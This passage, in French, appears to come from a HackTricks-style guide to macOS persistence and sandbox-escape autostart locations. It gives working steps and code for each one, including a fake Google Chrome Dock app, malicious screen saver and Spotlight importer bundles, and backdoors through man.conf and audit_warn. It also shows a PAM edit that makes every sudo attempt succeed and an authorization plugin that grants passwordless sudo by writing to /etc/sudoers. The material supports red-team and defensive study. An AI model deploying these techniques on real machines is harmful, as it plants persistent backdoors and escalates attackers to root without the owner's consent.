<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

Sélecteurs de couleur

Écriture : https://theevilbit.github.io/beyond/beyond_0017

  • Utile pour contourner le sandbox : 🟠
  • Une action très spécifique doit se produire
  • Vous finirez dans un autre sandbox

Emplacement

  • /Library/ColorPickers
  • Accès root requis
  • Déclencheur : Utiliser le sélecteur de couleur
  • ~/Library/ColorPickers
  • Déclencheur : Utiliser le sélecteur de couleur

Description & Exploit

Compilez un bundle de sélecteur de couleur avec votre code (vous pourriez utiliser celui-ci par exemple) et ajoutez un constructeur (comme dans la section Économiseur d'écran) et copiez le bundle dans ~/Library/ColorPickers.

Ensuite, lorsque le sélecteur de couleur est déclenché, votre code devrait l'être également.

Notez que le binaire chargeant votre bibliothèque a un sandbox très restrictif : /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

{% code overflow="wrap" %}

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

{% endcode %}

Plugins de synchronisation Finder

Article : https://theevilbit.github.io/beyond/beyond_0026/
Article : https://objective-see.org/blog/blog_0x11.html

  • Utile pour contourner le sandbox : Non, car vous devez exécuter votre propre application

Emplacement

  • Une application spécifique

Description & Exploit

Un exemple d'application avec une extension de synchronisation Finder peut être trouvé ici.

Les applications peuvent avoir des Extensions de synchronisation Finder. Cette extension sera intégrée dans une application qui sera exécutée. De plus, pour que l'extension puisse exécuter son code, elle doit être signée avec un certificat de développeur Apple valide, elle doit être sandboxée (bien que des exceptions assouplies puissent être ajoutées) et elle doit être enregistrée avec quelque chose comme :

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

Économiseur d'écran

Writeup : https://theevilbit.github.io/beyond/beyond_0016/
Writeup : https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • Utile pour contourner le sandbox : 🟠
  • Mais vous finirez dans un sandbox d'application commun

Emplacement

  • /System/Library/Screen Savers
  • Accès root requis
  • Déclencheur : Sélectionner l'économiseur d'écran
  • /Library/Screen Savers
  • Accès root requis
  • Déclencheur : Sélectionner l'économiseur d'écran
  • ~/Library/Screen Savers
  • Déclencheur : Sélectionner l'économiseur d'écran

Description & Exploit

Créez un nouveau projet dans Xcode et sélectionnez le modèle pour générer un nouvel Économiseur d'écran. Ensuite, ajoutez votre code, par exemple le code suivant pour générer des logs.

Construisez le projet, et copiez le paquet .saver dans ~/Library/Screen Savers. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez dessus, il devrait générer beaucoup de logs :

{% code overflow="wrap" %}

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

{% endcode %}

{% hint style="danger" %} Notez que parce que dans les droits (entitlements) du binaire qui charge ce code (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver), vous pouvez trouver com.apple.security.app-sandbox, vous serez dans le bac à sable (sandbox) d'application commun. {% endhint %}

Code du Saver :

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Plugins Spotlight

Utile pour contourner le sandbox : 🟠

  • Mais vous finirez dans un sandbox d'application

Emplacement

  • ~/Library/Spotlight/
  • Déclencheur : Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
  • /Library/Spotlight/
  • Déclencheur : Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
  • Accès root requis
  • /System/Library/Spotlight/
  • Déclencheur : Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
  • Accès root requis
  • Some.app/Contents/Library/Spotlight/
  • Déclencheur : Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
  • Nouvelle application requise

Description & Exploitation

Spotlight est la fonction de recherche intégrée de macOS, conçue pour fournir aux utilisateurs un accès rapide et complet aux données sur leurs ordinateurs.
Pour faciliter cette capacité de recherche rapide, Spotlight maintient une base de données propriétaire et crée un index en analysant la plupart des fichiers, permettant des recherches rapides à travers les noms de fichiers et leur contenu.

Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie 'serveur de métadonnées'. Ce processus orchestre l'ensemble du service Spotlight. En complément, il y a plusieurs daemons 'mdworker' qui effectuent une variété de tâches de maintenance, telles que l'indexation de différents types de fichiers (ps -ef | grep mdworker). Ces tâches sont rendues possibles grâce aux plugins d'importation Spotlight, ou bundles ".mdimporter", qui permettent à Spotlight de comprendre et d'indexer le contenu à travers une gamme diversifiée de formats de fichiers.

Les plugins ou bundles .mdimporter sont situés dans les emplacements mentionnés précédemment et si un nouveau bundle apparaît, il est chargé dans la minute (pas besoin de redémarrer un service). Ces bundles doivent indiquer quel type de fichier et extensions ils peuvent gérer, de cette façon, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé.

Il est possible de trouver tous les mdimporters chargés en exécutant :

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

Et par exemple, /Library/Spotlight/iBooksAuthor.mdimporter est utilisé pour analyser ces types de fichiers (extensions .iba et .book parmi d'autres) :

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

{% hint style="danger" %} Si vous vérifiez le Plist d'autres mdimporter, vous pourriez ne pas trouver l'entrée UTTypeConformsTo. C'est parce que c'est un Identifiant de Type Uniforme (UTI) intégré et il n'est pas nécessaire de spécifier des extensions.

De plus, les plugins par défaut du système ont toujours la priorité, donc un attaquant ne peut accéder qu'aux fichiers qui ne sont pas autrement indexés par les mdimporters d'Apple. {% endhint %}

Pour créer votre propre importateur, vous pourriez commencer avec ce projet : https://github.com/megrimm/pd-spotlight-importer puis changer le nom, les CFBundleDocumentTypes et ajouter UTImportedTypeDeclarations pour qu'il prenne en charge l'extension que vous souhaitez supporter et les refléter dans schema.xml.
Ensuite, changez le code de la fonction GetMetadataForFile pour exécuter votre charge utile lorsqu'un fichier avec l'extension traitée est créé.

Enfin, construisez et copiez votre nouveau .mdimporter dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en surveillant les journaux ou en vérifiant mdimport -L.

Panneau de Préférences

{% hint style="danger" %} Il semble que cela ne fonctionne plus. {% endhint %}

Writeup : https://theevilbit.github.io/beyond/beyond_0009/

  • Utile pour contourner le sandbox : 🟠
  • Nécessite une action spécifique de l'utilisateur

Emplacement

  • /System/Library/PreferencePanes
  • /Library/PreferencePanes
  • ~/Library/PreferencePanes

Description

Il semble que cela ne fonctionne plus.

Contournement du Sandbox Root

{% hint style="success" %} Ici, vous pouvez trouver des emplacements de démarrage utiles pour le contournement du sandbox qui vous permettent d'exécuter simplement quelque chose en écrivant dans un fichier en étant root et/ou nécessitant d'autres conditions particulières. {% endhint %}

Périodique

Writeup : https://theevilbit.github.io/beyond/beyond_0019/

  • Utile pour contourner le sandbox : 🟠
  • Mais vous devez être root

Emplacement

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
  • Root requis
  • Déclencheur : Lorsque le moment vient
  • /etc/daily.local, /etc/weekly.local ou /etc/monthly.local
  • Root requis
  • Déclencheur : Lorsque le moment vient

Description & Exploitation

Les scripts périodiques (/etc/periodic) sont exécutés en raison des launch daemons configurés dans /System/Library/LaunchDaemons/com.apple.periodic*. Notez que les scripts stockés dans /etc/periodic/ sont exécutés en tant que propriétaire du fichier, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges.

{% code overflow="wrap" %}

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local
Il existe d'autres scripts périodiques qui seront exécutés, indiqués dans **`/etc/defaults/periodic.conf`** :
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

Si vous parvenez à écrire dans l'un des fichiers /etc/daily.local, /etc/weekly.local ou /etc/monthly.local, il sera exécuté tôt ou tard.

{% hint style="warning" %} Notez que le script périodique sera exécuté en tant que propriétaire du script. Donc, si un utilisateur régulier possède le script, il sera exécuté en tant que cet utilisateur (cela pourrait empêcher les attaques d'élévation de privilèges). {% endhint %}

PAM

Writeup : Linux Hacktricks PAM
Writeup : https://theevilbit.github.io/beyond/beyond_0005/

  • Utile pour contourner le sandbox : 🟠
  • Mais vous devez être root

Emplacement

  • Root toujours requis

Description & Exploitation

Comme PAM est plus axé sur la persistance et les logiciels malveillants que sur l'exécution facile à l'intérieur de macOS, ce blog ne donnera pas d'explication détaillée, lisez les writeups pour mieux comprendre cette technique.

Vérifiez les modules PAM avec :

ls -l /etc/pam.d

Une technique de persistance/élévation de privilèges abusant de PAM est aussi simple que de modifier le module /etc/pam.d/sudo en ajoutant au début la ligne :

auth       sufficient     pam_permit.so

Il ressemblera donc à quelque chose comme ceci :

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

Et donc toute tentative d'utiliser sudo fonctionnera.

{% hint style="danger" %} Notez que ce répertoire est protégé par TCC, il est donc très probable que l'utilisateur reçoive une invite demandant l'accès. {% endhint %}

Plugins d'autorisation

Writeup : https://theevilbit.github.io/beyond/beyond_0028/
Writeup : https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • Utile pour contourner le sandbox : 🟠
  • Mais vous devez être root et faire des configurations supplémentaires

Emplacement

  • /Library/Security/SecurityAgentPlugins/
  • Accès root requis
  • Il est également nécessaire de configurer la base de données d'autorisation pour utiliser le plugin

Description & Exploitation

Vous pouvez créer un plugin d'autorisation qui sera exécuté lorsqu'un utilisateur se connecte pour maintenir la persistance. Pour plus d'informations sur la création de l'un de ces plugins, consultez les writeups précédents (et soyez prudent, un plugin mal écrit peut vous bloquer et vous devrez nettoyer votre mac en mode de récupération).

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Déplacez le bundle vers l'emplacement où il sera chargé :

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

Finalement, ajoutez la règle pour charger ce Plugin :

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

Les evaluate-mechanisms indiqueront au framework d'autorisation qu'il devra appeler un mécanisme externe pour l'autorisation. De plus, privileged le fera exécuter par root.

Déclenchez-le avec :

security authorize com.asdf.asdf

Et ensuite, le groupe staff devrait avoir accès à sudo (lire /etc/sudoers pour confirmer).

Man.conf

Écriture : https://theevilbit.github.io/beyond/beyond_0030/

  • Utile pour contourner le sandbox : 🟠
  • Mais vous devez être root et l'utilisateur doit utiliser man

Emplacement

  • /private/etc/man.conf
  • Root requis
  • /private/etc/man.conf : À chaque fois que man est utilisé

Description & Exploit

Le fichier de configuration /private/etc/man.conf indique le binaire/script à utiliser lors de l'ouverture des fichiers de documentation man. Ainsi, le chemin vers l'exécutable pourrait être modifié de sorte que chaque fois que l'utilisateur utilise man pour lire de la documentation, un backdoor est exécuté.

Par exemple, définissez dans /private/etc/man.conf :

MANPAGER /tmp/view

Et ensuite créez /tmp/view comme suit :

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Article : https://theevilbit.github.io/beyond/beyond_0023/

  • Utile pour contourner le sandbox : 🟠
  • Mais vous devez être root et apache doit être en cours d'exécution

Emplacement

  • /etc/apache2/httpd.conf
  • Droits de root nécessaires
  • Déclencheur : Lorsque Apache2 est démarré

Description & Exploitation

Vous pouvez indiquer dans /etc/apache2/httpd.conf de charger un module en ajoutant une ligne telle que :

{% code overflow="wrap" %}

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
Ainsi, votre module compilé sera chargé par Apache. La seule chose est que vous devez soit **le signer avec un certificat Apple valide**, soit **ajouter un nouveau certificat de confiance** dans le système et **le signer** avec celui-ci.

Ensuite, si nécessaire, pour vous assurer que le serveur sera démarré, vous pourriez exécuter :
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Exemple de code pour le Dylb :

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

Cadre d'audit BSM

Écriture : https://theevilbit.github.io/beyond/beyond_0031/

  • Utile pour contourner le sandbox : 🟠
  • Mais vous devez être root, auditd doit être en cours d'exécution et provoquer un avertissement

Emplacement

  • /etc/security/audit_warn
  • Root requis
  • Déclencheur : Lorsque auditd détecte un avertissement

Description & Exploit

Chaque fois que auditd détecte un avertissement, le script /etc/security/audit_warn est exécuté. Vous pourriez donc y ajouter votre charge utile.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

Vous pourriez forcer un avertissement avec sudo audit -n.

Éléments de démarrage

{% hint style="danger" %} Ceci est obsolète, donc rien ne devrait être trouvé dans les répertoires suivants. {% endhint %}

Un StartupItem est un répertoire qui est placé dans l'un de ces deux dossiers. /Library/StartupItems/ ou /System/Library/StartupItems/

Après avoir placé un nouveau répertoire dans l'un de ces deux emplacements, deux autres éléments doivent être placés à l'intérieur de ce répertoire. Ces deux éléments sont un script rc et un plist qui contient quelques paramètres. Ce plist doit être appelé “StartupParameters.plist”.

{% tabs %} {% tab title="StartupParameters.plist" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

{% endtab %}

{% tab title="superservicename" %}

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

{% endtab %} {% endtabs %}

emond

{% hint style="danger" %} Je ne trouve pas ce composant sur mon macOS, donc pour plus d'informations, consultez le compte-rendu {% endhint %}

Compte-rendu : https://theevilbit.github.io/beyond/beyond_0023/

Apple a introduit un mécanisme de journalisation appelé emond. Il semble qu'il n'ait jamais été pleinement développé, et que son développement ait peut-être été abandonné par Apple au profit d'autres mécanismes, mais il reste disponible.

Ce service peu connu peut ne pas être très utile à un administrateur Mac, mais pour un acteur malveillant, une très bonne raison de l'utiliser serait comme un mécanisme de persistance que la plupart des administrateurs macOS ne sauraient probablement pas détecter. Détecter l'utilisation malveillante d'emond ne devrait pas être difficile, car le LaunchDaemon du système pour le service ne cherche à exécuter des scripts que dans un seul endroit :

ls -l /private/var/db/emondClients

XQuartz

Rédaction : https://theevilbit.github.io/beyond/beyond_0018/

Emplacement

  • /opt/X11/etc/X11/xinit/privileged_startx.d
  • Droits de superutilisateur requis
  • Déclencheur : Avec XQuartz

Description & Exploit

XQuartz n'est plus installé sur macOS, donc si vous voulez plus d'informations, consultez la rédaction.

kext

{% hint style="danger" %} C'est tellement compliqué d'installer kext même en tant que root que je ne considérerai pas cela pour échapper aux sandbox ou même pour la persistance (à moins que vous n'ayez un exploit) {% endhint %}

Emplacement

Pour installer un KEXT en tant qu'élément de démarrage, il doit être installé dans l'un des emplacements suivants :

  • /System/Library/Extensions
  • Fichiers KEXT intégrés au système d'exploitation OS X.
  • /Library/Extensions
  • Fichiers KEXT installés par des logiciels tiers

Vous pouvez lister les fichiers kext actuellement chargés avec :

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

Pour plus d'informations sur les extensions de noyau, consultez cette section.

amstoold

Article : https://theevilbit.github.io/beyond/beyond_0029/

Emplacement

  • /usr/local/bin/amstoold
  • Droits de superutilisateur requis

Description & Exploitation

Apparemment, le plist de /System/Library/LaunchAgents/com.apple.amstoold.plist utilisait ce binaire tout en exposant un service XPC... le problème est que le binaire n'existait pas, donc vous pourriez placer quelque chose là et lorsque le service XPC est appelé, votre binaire sera exécuté.

Je ne peux plus trouver cela dans mon macOS.

xsanctl

Article : https://theevilbit.github.io/beyond/beyond_0015/

Emplacement

  • /Library/Preferences/Xsan/.xsanrc
  • Droits de superutilisateur requis
  • Déclencheur : Lorsque le service est exécuté (rarement)

Description & exploitation

Apparemment, il n'est pas très courant d'exécuter ce script et je ne pouvais même pas le trouver dans mon macOS, donc si vous voulez plus d'infos, consultez l'article.

/etc/rc.common

{% hint style="danger" %} Cela ne fonctionne pas dans les versions modernes de MacOS {% endhint %}

Il est également possible de placer ici des commandes qui seront exécutées au démarrage. Exemple de script rc.common régulier :

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

Techniques et outils de persistance

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥